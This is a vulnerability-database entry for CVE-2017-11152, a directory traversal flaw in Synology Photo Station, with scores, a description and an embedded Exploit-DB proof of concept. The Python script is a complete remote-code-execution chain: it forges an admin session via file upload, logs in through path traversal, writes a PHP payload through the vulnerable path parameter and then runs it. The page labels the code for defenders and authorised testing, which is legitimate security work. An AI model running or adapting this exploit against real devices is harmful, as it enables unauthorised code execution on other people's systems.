CVE-2017-11152

high
Published 2017-08-08 ยท Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

Directory traversal vulnerability in PixlrEditorHandler.php in Synology Photo Station before 6.7.3-3432 and 6.3-2967 allows remote attackers to write arbitrary files via the path parameter.

Predictions

Exploit likelihood
83%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42434 webapps hardware verified python ยท 2 KB
Kacper Szurek ยท 2017-08-08

Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution

python exploit Source: Exploit-DB
'''
Source: https://blogs.securiteam.com/index.php/archives/3356

Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:

Upload arbitrary files to the specified directories
Log in with a fake authentication mechanism
Log in to Photo Station with any identity
Execute arbitrary code by authenticated user with administrator privileges
The chain of vulnerabilities will allow you, in the end, to execute code as:

uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
'''
import requests

# What server you want to attack
synology_ip = 'http://192.168.1.100'

# Your current IP
ip = '192.168.1.200'

# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'

encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'

print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]

r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text

print "[+] Login as fake admin"

# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}

try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)

whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text

print "[+] Upload php file"

c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text


print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))

print f.text

Application impact

VendorProductVersionsFixed
synologyphoto_station{"endIncluding":"6.7.2-3429"}
synologyphoto_station6.3-2967

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.